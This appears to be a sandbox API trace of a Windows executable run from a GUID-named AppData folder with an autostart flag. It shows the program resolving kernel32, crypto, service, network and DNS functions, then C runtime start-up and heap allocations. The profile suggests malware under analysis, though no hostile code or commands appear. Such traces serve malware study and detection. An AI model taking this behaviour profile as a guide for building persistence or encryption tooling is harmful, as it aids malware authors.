[0220.948] GetProcAddress (hModule=0x756f0000, lpProcName="FindFirstFileW") returned 0x75704435 [0220.948] GetProcAddress (hModule=0x756f0000, lpProcName="SetFilePointer") returned 0x757017d1 [0220.948] GetProcAddress (hModule=0x756f0000, lpProcName="lstrlenA") returned 0x75705a4b [0220.948] GetProcAddress (hModule=0x756f0000, lpProcName="SetErrorMode") returned 0x75701b00 [0220.948] GetProcAddress (hModule=0x756f0000, lpProcName="FreeLibrary") returned 0x757034c8 [0220.948] GetProcAddress (hModule=0x756f0000, lpProcName="CreateProcessW") returned 0x7570103d [0220.948] GetProcAddress (hModule=0x756f0000, lpProcName="SetFilePointerEx") returned 0x7571c807 [0220.948] GetProcAddress (hModule=0x756f0000, lpProcName="CreateDirectoryW") returned 0x75704259 [0220.948] GetProcAddress (hModule=0x756f0000, lpProcName="WaitForSingleObject") returned 0x75701136 [0220.949] GetProcAddress (hModule=0x756f0000, lpProcName="GetLogicalDrives") returned 0x75705371 [0220.949] GetProcAddress (hModule=0x756f0000, lpProcName="VirtualFree") returned 0x7570186e [0220.949] GetProcAddress (hModule=0x756f0000, lpProcName="WriteFile") returned 0x75701282 [0220.949] GetProcAddress (hModule=0x756f0000, lpProcName="GetDriveTypeA") returned 0x7571ef75 [0220.949] GetProcAddress (hModule=0x756f0000, lpProcName="OpenProcess") returned 0x75701986 [0220.949] GetProcAddress (hModule=0x756f0000, lpProcName="GlobalAlloc") returned 0x7570588e [0220.949] GetProcAddress (hModule=0x756f0000, lpProcName="GetSystemDirectoryW") returned 0x75705063 [0220.949] GetProcAddress (hModule=0x756f0000, lpProcName="WideCharToMultiByte") returned 0x7570170d [0220.949] GetProcAddress (hModule=0x756f0000, lpProcName="LoadLibraryW") returned 0x7570492b [0220.950] GetProcAddress (hModule=0x756f0000, lpProcName="Sleep") returned 0x757010ff [0220.950] GetProcAddress (hModule=0x756f0000, lpProcName="CopyFileW") returned 0x7572830d [0220.950] GetProcAddress (hModule=0x756f0000, lpProcName="FormatMessageW") returned 0x75704620 [0220.950] GetProcAddress (hModule=0x756f0000, lpProcName="lstrcpynW") returned 0x7572d556 [0220.950] GetProcAddress (hModule=0x756f0000, lpProcName="CreateProcessA") returned 0x75701072 [0220.950] GetProcAddress (hModule=0x756f0000, lpProcName="TerminateProcess") returned 0x7571d802 [0220.950] GetProcAddress (hModule=0x756f0000, lpProcName="ReadFile") returned 0x75703ed3 [0220.951] GetProcAddress (hModule=0x756f0000, lpProcName="CreateFileW") returned 0x75703f5c [0220.951] GetProcAddress (hModule=0x756f0000, lpProcName="lstrcatA") returned 0x75722b7a [0220.951] GetProcAddress (hModule=0x756f0000, lpProcName="GetEnvironmentVariableA") returned 0x757033a0 [0220.951] GetProcAddress (hModule=0x756f0000, lpProcName="lstrcmpW") returned 0x75705929 [0220.951] GetProcAddress (hModule=0x756f0000, lpProcName="MultiByteToWideChar") returned 0x7570192e [0220.951] GetProcAddress (hModule=0x756f0000, lpProcName="lstrlenW") returned 0x75701700 [0220.951] GetProcAddress (hModule=0x756f0000, lpProcName="FlushFileBuffers") returned 0x7570469b [0220.951] GetProcAddress (hModule=0x756f0000, lpProcName="GetShortPathNameA") returned 0x7572594d [0220.951] GetProcAddress (hModule=0x756f0000, lpProcName="GetFileSizeEx") returned 0x757059e2 [0220.951] GetProcAddress (hModule=0x756f0000, lpProcName="GetLastError") returned 0x757011c0 [0220.952] GetProcAddress (hModule=0x756f0000, lpProcName="SetLastError") returned 0x757011a9 [0220.952] GetProcAddress (hModule=0x756f0000, lpProcName="GetProcAddress") returned 0x75701222 [0220.952] GetProcAddress (hModule=0x756f0000, lpProcName="VirtualAlloc") returned 0x75701856 [0220.952] GetProcAddress (hModule=0x756f0000, lpProcName="MoveFileW") returned 0x75719af0 [0220.952] GetProcAddress (hModule=0x756f0000, lpProcName="FindClose") returned 0x75704442 [0220.952] GetProcAddress (hModule=0x756f0000, lpProcName="Process32FirstW") returned 0x75728baf [0220.952] GetProcAddress (hModule=0x756f0000, lpProcName="LocalAlloc") returned 0x7570168c [0220.952] GetProcAddress (hModule=0x756f0000, lpProcName="CreateEventW") returned 0x7570183e [0220.952] GetProcAddress (hModule=0x756f0000, lpProcName="GetModuleFileNameA") returned 0x757014b1 [0220.952] GetProcAddress (hModule=0x756f0000, lpProcName="Process32NextW") returned 0x7572896c [0220.952] GetProcAddress (hModule=0x756f0000, lpProcName="lstrcatW") returned 0x7572828e [0220.952] GetProcAddress (hModule=0x756f0000, lpProcName="CreateMutexA") returned 0x75704c6b [0220.953] GetProcAddress (hModule=0x756f0000, lpProcName="FatalAppExitA") returned 0x75784691 [0220.953] GetProcAddress (hModule=0x756f0000, lpProcName="CreateToolhelp32Snapshot") returned 0x7572735f [0220.953] GetProcAddress (hModule=0x756f0000, lpProcName="CloseHandle") returned 0x75701410 [0220.953] GetProcAddress (hModule=0x756f0000, lpProcName="DeleteFileW") returned 0x757089b3 [0220.953] GetProcAddress (hModule=0x756f0000, lpProcName="LocalFree") returned 0x75702d3c [0220.953] GetProcAddress (hModule=0x756f0000, lpProcName="lstrcpyW") returned 0x75723102 [0220.953] GetProcAddress (hModule=0x756f0000, lpProcName="DeleteFileA") returned 0x75705444 [0220.953] GetProcAddress (hModule=0x756f0000, lpProcName="lstrcpyA") returned 0x75722a9d [0220.953] GetProcAddress (hModule=0x756f0000, lpProcName="SetPriorityClass") returned 0x7571cf28 [0220.953] GetProcAddress (hModule=0x756f0000, lpProcName="GetModuleHandleW") returned 0x757034b0 [0220.953] GetProcAddress (hModule=0x756f0000, lpProcName="GetComputerNameW") returned 0x7570dd0e [0220.954] GetProcAddress (hModule=0x756f0000, lpProcName="GetExitCodeProcess") returned 0x7571174d [0220.954] GetProcAddress (hModule=0x756f0000, lpProcName="GetModuleFileNameW") returned 0x75704950 [0220.954] GetProcAddress (hModule=0x756f0000, lpProcName="GlobalFree") returned 0x75705558 [0220.954] GetProcAddress (hModule=0x756f0000, lpProcName="GetVersion") returned 0x75704467 [0220.954] GetProcAddress (hModule=0x756f0000, lpProcName="CreateDirectoryA") returned 0x7572d526 [0220.954] GetProcAddress (hModule=0x756f0000, lpProcName="CreateThread") returned 0x757034d5 [0220.954] GetProcAddress (hModule=0x756f0000, lpProcName="TlsSetValue") returned 0x757014fb [0220.954] GetProcAddress (hModule=0x756f0000, lpProcName="TlsGetValue") returned 0x757011e0 [0220.954] GetProcAddress (hModule=0x756f0000, lpProcName="TlsAlloc") returned 0x757049ad [0220.954] GetProcAddress (hModule=0x756f0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75701916 [0220.954] GetProcAddress (hModule=0x756f0000, lpProcName="SetUnhandledExceptionFilter") returned 0x757087c9 [0220.954] GetProcAddress (hModule=0x756f0000, lpProcName="UnhandledExceptionFilter") returned 0x7572772f [0220.955] GetProcAddress (hModule=0x756f0000, lpProcName="FreeEnvironmentStringsW") returned 0x757051cb [0220.955] GetProcAddress (hModule=0x756f0000, lpProcName="GetEnvironmentStringsW") returned 0x757051e3 [0220.955] GetProcAddress (hModule=0x756f0000, lpProcName="GetCurrentProcessId") returned 0x757011f8 [0220.955] GetProcAddress (hModule=0x756f0000, lpProcName="QueryPerformanceCounter") returned 0x75701725 [0220.955] GetProcAddress (hModule=0x756f0000, lpProcName="GetStartupInfoW") returned 0x75704d40 [0220.955] GetProcAddress (hModule=0x756f0000, lpProcName="DeleteCriticalSection") returned 0x76f145f5 [0220.955] GetProcAddress (hModule=0x756f0000, lpProcName="GetTimeZoneInformation") returned 0x7570465a [0220.955] GetProcAddress (hModule=0x756f0000, lpProcName="RaiseException") returned 0x757058a6 [0220.955] GetProcAddress (hModule=0x756f0000, lpProcName="GetStringTypeW") returned 0x75701946 [0220.955] GetProcAddress (hModule=0x756f0000, lpProcName="HeapSize") returned 0x76f13002 [0220.956] GetProcAddress (hModule=0x756f0000, lpProcName="LoadLibraryExW") returned 0x7570495d [0220.956] GetProcAddress (hModule=0x756f0000, lpProcName="HeapAlloc") returned 0x76f0e026 [0220.956] GetProcAddress (hModule=0x756f0000, lpProcName="GetLocaleInfoW") returned 0x75703c42 [0220.956] GetProcAddress (hModule=0x756f0000, lpProcName="IsValidLocale") returned 0x7571ce46 [0220.956] GetProcAddress (hModule=0x756f0000, lpProcName="GetUserDefaultLCID") returned 0x75703da5 [0220.956] GetProcAddress (hModule=0x756f0000, lpProcName="EnumSystemLocalesW") returned 0x7578425f [0220.956] GetProcAddress (hModule=0x756f0000, lpProcName="GetDateFormatW") returned 0x757234d7 [0220.956] GetProcAddress (hModule=0x756f0000, lpProcName="GetTimeFormatW") returned 0x7571f481 [0220.956] GetProcAddress (hModule=0x756f0000, lpProcName="CompareStringW") returned 0x75703bca [0220.957] GetProcAddress (hModule=0x756f0000, lpProcName="LCMapStringW") returned 0x757017b9 [0220.957] GetProcAddress (hModule=0x756f0000, lpProcName="GetConsoleCP") returned 0x757a7bff [0220.957] GetProcAddress (hModule=0x756f0000, lpProcName="GetConsoleMode") returned 0x75701328 [0220.957] GetProcAddress (hModule=0x756f0000, lpProcName="HeapReAlloc") returned 0x76f21f6e [0220.957] GetProcAddress (hModule=0x756f0000, lpProcName="SetStdHandle") returned 0x7578454f [0220.957] GetProcAddress (hModule=0x756f0000, lpProcName="SetEndOfFile") returned 0x7571ce2e [0220.957] GetProcAddress (hModule=0x756f0000, lpProcName="GetStdHandle") returned 0x757051b3 [0220.957] GetProcAddress (hModule=0x756f0000, lpProcName="GetFileType") returned 0x75703531 [0220.957] GetProcAddress (hModule=0x756f0000, lpProcName="GetModuleHandleExW") returned 0x75704a6f [0220.957] GetProcAddress (hModule=0x756f0000, lpProcName="WriteConsoleW") returned 0x75727aca [0220.958] GetProcAddress (hModule=0x756f0000, lpProcName="ReadConsoleW") returned 0x757a739a [0220.958] GetProcAddress (hModule=0x756f0000, lpProcName="OutputDebugStringW") returned 0x7572d1d4 [0220.958] GetProcAddress (hModule=0x756f0000, lpProcName="SetConsoleCtrlHandler") returned 0x75708a09 [0220.958] GetProcAddress (hModule=0x756f0000, lpProcName="RtlUnwind") returned 0x7572d1c3 [0220.958] GetProcAddress (hModule=0x756f0000, lpProcName="LeaveCriticalSection") returned 0x76f02270 [0220.958] GetProcAddress (hModule=0x756f0000, lpProcName="EnterCriticalSection") returned 0x76f022b0 [0220.958] GetProcAddress (hModule=0x756f0000, lpProcName="AreFileApisANSI") returned 0x757840d1 [0220.958] GetProcAddress (hModule=0x756f0000, lpProcName="ExitProcess") returned 0x75707a10 [0220.958] GetProcAddress (hModule=0x756f0000, lpProcName="GetProcessHeap") returned 0x757014e9 [0220.958] GetProcAddress (hModule=0x756f0000, lpProcName="GetCurrentThreadId") returned 0x75701450 [0220.958] GetProcAddress (hModule=0x756f0000, lpProcName="GetCurrentThread") returned 0x757017ec [0220.958] GetProcAddress (hModule=0x756f0000, lpProcName="GetCPInfo") returned 0x75705189 [0220.959] GetProcAddress (hModule=0x756f0000, lpProcName="HeapFree") returned 0x757014c9 [0220.959] GetProcAddress (hModule=0x756f0000, lpProcName="SetEnvironmentVariableA") returned 0x7570e331 [0220.959] GetProcAddress (hModule=0x756f0000, lpProcName="EncodePointer") returned 0x76f20fcb [0220.959] GetProcAddress (hModule=0x756f0000, lpProcName="DecodePointer") returned 0x76f19d35 [0220.959] GetProcAddress (hModule=0x756f0000, lpProcName="GetSystemTimeAsFileTime") returned 0x75703509 [0220.959] GetProcAddress (hModule=0x756f0000, lpProcName="GetCurrentProcess") returned 0x75701809 [0220.959] GetProcAddress (hModule=0x756f0000, lpProcName="CreateSemaphoreW") returned 0x7571ca5a [0221.036] GetProcAddress (hModule=0x756f0000, lpProcName="GetOEMCP") returned 0x7572d1a1 [0221.036] GetProcAddress (hModule=0x756f0000, lpProcName="GetACP") returned 0x7570179c [0221.036] GetProcAddress (hModule=0x756f0000, lpProcName="IsValidCodePage") returned 0x75704493 [0221.036] GetProcAddress (hModule=0x756f0000, lpProcName="IsProcessorFeaturePresent") returned 0x75705235 [0221.036] GetProcAddress (hModule=0x756f0000, lpProcName="FindNextFileW") returned 0x757054ee [0221.036] GetProcAddress (hModule=0x756f0000, lpProcName="IsDebuggerPresent") returned 0x75704a5d [0221.036] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x759b0000 [0221.036] GetProcAddress (hModule=0x759b0000, lpProcName="LoadCursorW") returned 0x759c88f7 [0221.036] GetProcAddress (hModule=0x759b0000, lpProcName="TranslateMessage") returned 0x759c7809 [0221.036] GetProcAddress (hModule=0x759b0000, lpProcName="RegisterClassExW") returned 0x759cb17d [0221.037] GetProcAddress (hModule=0x759b0000, lpProcName="ShowWindow") returned 0x759d0dfb [0221.037] GetProcAddress (hModule=0x759b0000, lpProcName="IsWindow") returned 0x759c7136 [0221.037] GetProcAddress (hModule=0x759b0000, lpProcName="CreateWindowExW") returned 0x759c8a29 [0221.037] GetProcAddress (hModule=0x759b0000, lpProcName="UpdateWindow") returned 0x759d3559 [0221.037] GetProcAddress (hModule=0x759b0000, lpProcName="DefWindowProcW") returned 0x76f125dd [0221.037] GetProcAddress (hModule=0x759b0000, lpProcName="PeekMessageW") returned 0x759d05ba [0221.037] GetProcAddress (hModule=0x759b0000, lpProcName="PostThreadMessageW") returned 0x759c8bff [0221.037] GetProcAddress (hModule=0x759b0000, lpProcName="MessageBoxW") returned 0x75a1fd3f [0221.037] GetProcAddress (hModule=0x759b0000, lpProcName="DispatchMessageW") returned 0x759c787b [0221.037] GetProcAddress (hModule=0x759b0000, lpProcName="PostQuitMessage") returned 0x759c9abb [0221.037] GetProcAddress (hModule=0x759b0000, lpProcName="DestroyWindow") returned 0x759c9a55 [0221.038] GetProcAddress (hModule=0x759b0000, lpProcName="SendMessageW") returned 0x759c9679 [0221.038] GetProcAddress (hModule=0x759b0000, lpProcName="GetMessageW") returned 0x759c78e2 [0221.038] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74e50000 [0221.038] GetProcAddress (hModule=0x74e50000, lpProcName="CryptGetHashParam") returned 0x74e5df7e [0221.038] GetProcAddress (hModule=0x74e50000, lpProcName="CryptAcquireContextW") returned 0x74e5df14 [0221.038] GetProcAddress (hModule=0x74e50000, lpProcName="OpenSCManagerW") returned 0x74e5ca64 [0221.038] GetProcAddress (hModule=0x74e50000, lpProcName="OpenServiceW") returned 0x74e5ca4c [0221.038] GetProcAddress (hModule=0x74e50000, lpProcName="CryptReleaseContext") returned 0x74e5e124 [0221.038] GetProcAddress (hModule=0x74e50000, lpProcName="GetUserNameW") returned 0x74e6157a [0221.038] GetProcAddress (hModule=0x74e50000, lpProcName="CryptHashData") returned 0x74e5df36 [0221.038] GetProcAddress (hModule=0x74e50000, lpProcName="RegSetValueExW") returned 0x74e614d6 [0221.038] GetProcAddress (hModule=0x74e50000, lpProcName="RegCloseKey") returned 0x74e6469d [0221.039] GetProcAddress (hModule=0x74e50000, lpProcName="CryptDestroyHash") returned 0x74e5df66 [0221.039] GetProcAddress (hModule=0x74e50000, lpProcName="ControlService") returned 0x74e77144 [0221.039] GetProcAddress (hModule=0x74e50000, lpProcName="RegOpenKeyExW") returned 0x74e6468d [0221.039] GetProcAddress (hModule=0x74e50000, lpProcName="CryptCreateHash") returned 0x74e5df4e [0221.039] GetProcAddress (hModule=0x74e50000, lpProcName="CryptEncrypt") returned 0x74e7779b [0221.039] GetProcAddress (hModule=0x74e50000, lpProcName="CryptImportKey") returned 0x74e5c532 [0221.039] GetProcAddress (hModule=0x74e50000, lpProcName="QueryServiceStatus") returned 0x74e62a86 [0221.039] GetProcAddress (hModule=0x74e50000, lpProcName="RegQueryValueExW") returned 0x74e646ad [0221.039] GetProcAddress (hModule=0x74e50000, lpProcName="CloseServiceHandle") returned 0x74e6369c [0221.039] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75d10000 [0221.065] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetPathFromIDListW") returned 0x75da17bf [0221.065] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetSpecialFolderLocation") returned 0x75d9e141 [0221.065] GetProcAddress (hModule=0x75d10000, lpProcName="CommandLineToArgvW") returned 0x75d29ee8 [0221.065] GetProcAddress (hModule=0x75d10000, lpProcName="ShellExecuteA") returned 0x75f57078 [0221.065] GetProcAddress (hModule=0x75d10000, lpProcName="ShellExecuteExW") returned 0x75d31e46 [0221.065] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x75ab0000 [0221.066] GetProcAddress (hModule=0x75ab0000, lpProcName="CoInitialize") returned 0x75acb636 [0221.066] GetProcAddress (hModule=0x75ab0000, lpProcName="CoInitializeSecurity") returned 0x75ad7259 [0221.066] GetProcAddress (hModule=0x75ab0000, lpProcName="CoUninitialize") returned 0x75af86d3 [0221.066] GetProcAddress (hModule=0x75ab0000, lpProcName="CoCreateInstance") returned 0x75af9d0b [0221.066] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x76a50000 [0221.066] GetProcAddress (hModule=0x76a50000, lpProcName=0xca) returned 0x76a5fd6b [0221.067] GetProcAddress (hModule=0x76a50000, lpProcName=0x2) returned 0x76a54642 [0221.067] GetProcAddress (hModule=0x76a50000, lpProcName=0x9) returned 0x76a53eae [0221.067] GetProcAddress (hModule=0x76a50000, lpProcName=0x8) returned 0x76a53ed5 [0221.067] GetProcAddress (hModule=0x76a50000, lpProcName=0x6) returned 0x76a53e59 [0221.067] GetProcAddress (hModule=0x76a50000, lpProcName=0xc8) returned 0x76a53f21 [0221.067] GetProcAddress (hModule=0x76a50000, lpProcName=0xc) returned 0x76a55dee [0221.067] GetProcAddress (hModule=0x76a50000, lpProcName=0xc9) returned 0x76a54af8 [0221.067] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x745c0000 [0221.264] GetProcAddress (hModule=0x745c0000, lpProcName="GetAdaptersInfo") returned 0x745c9263 [0221.264] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x750a0000 [0221.286] GetProcAddress (hModule=0x750a0000, lpProcName=0xc) returned 0x750ab131 [0221.286] GetProcAddress (hModule=0x750a0000, lpProcName=0xb) returned 0x750a311b [0221.286] GetProcAddress (hModule=0x750a0000, lpProcName=0x34) returned 0x750b7673 [0221.286] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x74430000 [0221.382] GetProcAddress (hModule=0x74430000, lpProcName="DnsQuery_W") returned 0x7444572c [0221.382] GetProcAddress (hModule=0x74430000, lpProcName="DnsFree") returned 0x7443436b [0221.382] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x75800000 [0221.382] GetProcAddress (hModule=0x75800000, lpProcName="CryptStringToBinaryA") returned 0x75835d77 [0221.382] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x74370000 [0221.650] GetProcAddress (hModule=0x74370000, lpProcName="atexit") returned 0x7438c544 [0221.650] atexit (param_1=0x694c90) returned 0 [0221.650] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fedc | out: lpSystemTimeAsFileTime=0x18fedc*(dwLowDateTime=0xde9c2490, dwHighDateTime=0x1d50369)) [0221.650] GetCurrentThreadId () returned 0x7f0 [0221.650] GetCurrentProcessId () returned 0x7ec [0221.650] QueryPerformanceCounter (in: lpPerformanceCount=0x18fed4 | out: lpPerformanceCount=0x18fed4*=6195704575) returned 1 [0221.650] GetStartupInfoW (in: lpStartupInfo=0x18fe6c | out: lpStartupInfo=0x18fe6c*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x75703519, hStdOutput=0x76effd35, hStdError=0x76f67daf)) [0221.650] GetProcessHeap () returned 0x640000 [0221.651] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x756f0000 [0221.651] GetProcAddress (hModule=0x756f0000, lpProcName="FlsAlloc") returned 0x75704f2b [0221.651] GetProcAddress (hModule=0x756f0000, lpProcName="FlsFree") returned 0x7570359f [0221.651] GetProcAddress (hModule=0x756f0000, lpProcName="FlsGetValue") returned 0x75701252 [0221.651] GetProcAddress (hModule=0x756f0000, lpProcName="FlsSetValue") returned 0x75704208 [0221.651] GetProcAddress (hModule=0x756f0000, lpProcName="InitializeCriticalSectionEx") returned 0x75704d28 [0221.651] GetProcAddress (hModule=0x756f0000, lpProcName="CreateEventExW") returned 0x7578410b [0221.651] GetProcAddress (hModule=0x756f0000, lpProcName="CreateSemaphoreExW") returned 0x75784195 [0221.652] GetProcAddress (hModule=0x756f0000, lpProcName="SetThreadStackGuarantee") returned 0x7570d31f [0221.652] GetProcAddress (hModule=0x756f0000, lpProcName="CreateThreadpoolTimer") returned 0x7571ee7e [0221.652] GetProcAddress (hModule=0x756f0000, lpProcName="SetThreadpoolTimer") returned 0x76f2441c [0221.653] GetProcAddress (hModule=0x756f0000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x76f4c50e [0221.653] GetProcAddress (hModule=0x756f0000, lpProcName="CloseThreadpoolTimer") returned 0x76f4c381 [0221.653] GetProcAddress (hModule=0x756f0000, lpProcName="CreateThreadpoolWait") returned 0x7571f088 [0221.653] GetProcAddress (hModule=0x756f0000, lpProcName="SetThreadpoolWait") returned 0x76f305d7 [0221.653] GetProcAddress (hModule=0x756f0000, lpProcName="CloseThreadpoolWait") returned 0x76f4ca24 [0221.654] GetProcAddress (hModule=0x756f0000, lpProcName="FlushProcessWriteBuffers") returned 0x76f00b8c [0221.654] GetProcAddress (hModule=0x756f0000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x76fbfde8 [0221.654] GetProcAddress (hModule=0x756f0000, lpProcName="GetCurrentProcessorNumber") returned 0x76f51e1d [0221.654] GetProcAddress (hModule=0x756f0000, lpProcName="GetLogicalProcessorInformation") returned 0x75784761 [0221.654] GetProcAddress (hModule=0x756f0000, lpProcName="CreateSymbolicLinkW") returned 0x7577cd11 [0221.654] GetProcAddress (hModule=0x756f0000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0221.654] GetProcAddress (hModule=0x756f0000, lpProcName="EnumSystemLocalesEx") returned 0x7578424f [0221.654] GetProcAddress (hModule=0x756f0000, lpProcName="CompareStringEx") returned 0x757846b1 [0221.654] GetProcAddress (hModule=0x756f0000, lpProcName="GetDateFormatEx") returned 0x75796676 [0221.654] GetProcAddress (hModule=0x756f0000, lpProcName="GetLocaleInfoEx") returned 0x75784751 [0221.655] GetProcAddress (hModule=0x756f0000, lpProcName="GetTimeFormatEx") returned 0x757965f1 [0221.655] GetProcAddress (hModule=0x756f0000, lpProcName="GetUserDefaultLocaleName") returned 0x757847c1 [0221.655] GetProcAddress (hModule=0x756f0000, lpProcName="IsValidLocaleName") returned 0x757847e1 [0221.655] GetProcAddress (hModule=0x756f0000, lpProcName="LCMapStringEx") returned 0x757847f1 [0221.655] GetProcAddress (hModule=0x756f0000, lpProcName="GetCurrentPackageId") returned 0x0 [0221.655] GetProcAddress (hModule=0x756f0000, lpProcName="GetTickCount64") returned 0x7571eee0 [0221.655] GetProcAddress (hModule=0x756f0000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0221.655] GetProcAddress (hModule=0x756f0000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0221.656] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x3bc) returned 0x6e33b8 [0221.656] GetCurrentThreadId () returned 0x7f0 [0221.656] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x18) returned 0x6d6298 [0221.656] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x800) returned 0x6e3780 [0221.656] GetStartupInfoW (in: lpStartupInfo=0x18fe3c | out: lpStartupInfo=0x18fe3c*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x41a838, hStdOutput=0xae03d55f, hStdError=0xfffffffe)) [0221.656] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0221.656] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0221.656] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0221.656] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe\" --AutoStart" [0221.660] GetEnvironmentStringsW () returned 0x6e3f88* [0221.661] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb02) returned 0x6e4a98 [0221.661] FreeEnvironmentStringsW (penv=0x6e3f88) returned 1 [0221.661] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x45d598, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\e0a7.tmp.exe")) returned 0x5d [0221.661] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xe0) returned 0x6e55a8 [0221.661] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x9c) returned 0x6e5690 [0221.661] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x3e) returned 0x6d8f78 [0221.661] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x6c) returned 0x6e5738 [0221.661] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x6e) returned 0x6e57b0 [0221.661] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x78) returned 0x6d6e58 [0221.661] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x62) returned 0x6e5828 [0221.661] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x2e) returned 0x6df0e8 [0221.661] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x48) returned 0x6daca0 [0221.661] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x28) returned 0x6deaa8 [0221.661] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x1a) returned 0x6e3018 [0221.661] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x4a) returned 0x6e5898 [0221.661] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x72) returned 0x6d6ed8 [0221.661] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x30) returned 0x6df120 [0221.661] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x2e) returned 0x6df158 [0221.661] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x1c) returned 0x6e3040 [0221.661] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0xd2) returned 0x6e58f0 [0221.661] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x7c) returned 0x6e59d0 [0221.662] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x36) returned 0x6e5a58 [0221.662] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x3a) returned 0x6d8fc0 [0221.662] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x90) returned 0x6e5a98 [0221.662] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x24) returned 0x6dead8 [0221.662] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x30) returned 0x6df190 [0221.662] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x36) returned 0x6e5b30 [0221.662] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x48) returned 0x6dacf0 [0221.662] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x52) returned 0x6e5b70 [0221.662] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x3c) returned 0x6d9008 [0221.662] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x82) returned 0x6e5bd0 [0221.662] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x2e) returned 0x6df1c8 [0221.662] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x28) returned 0x6deb08 [0221.662] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x1e) returned 0x6e3068 [0221.662] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x2c) returned 0x6df200 [0221.662] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x54) returned 0x6e5c60 [0221.662] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x52) returned 0x6e5cc0 [0221.662] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x2a) returned 0x6df238 [0221.662] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x3c) returned 0x6d9050 [0221.662] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x54) returned 0x6e5d20 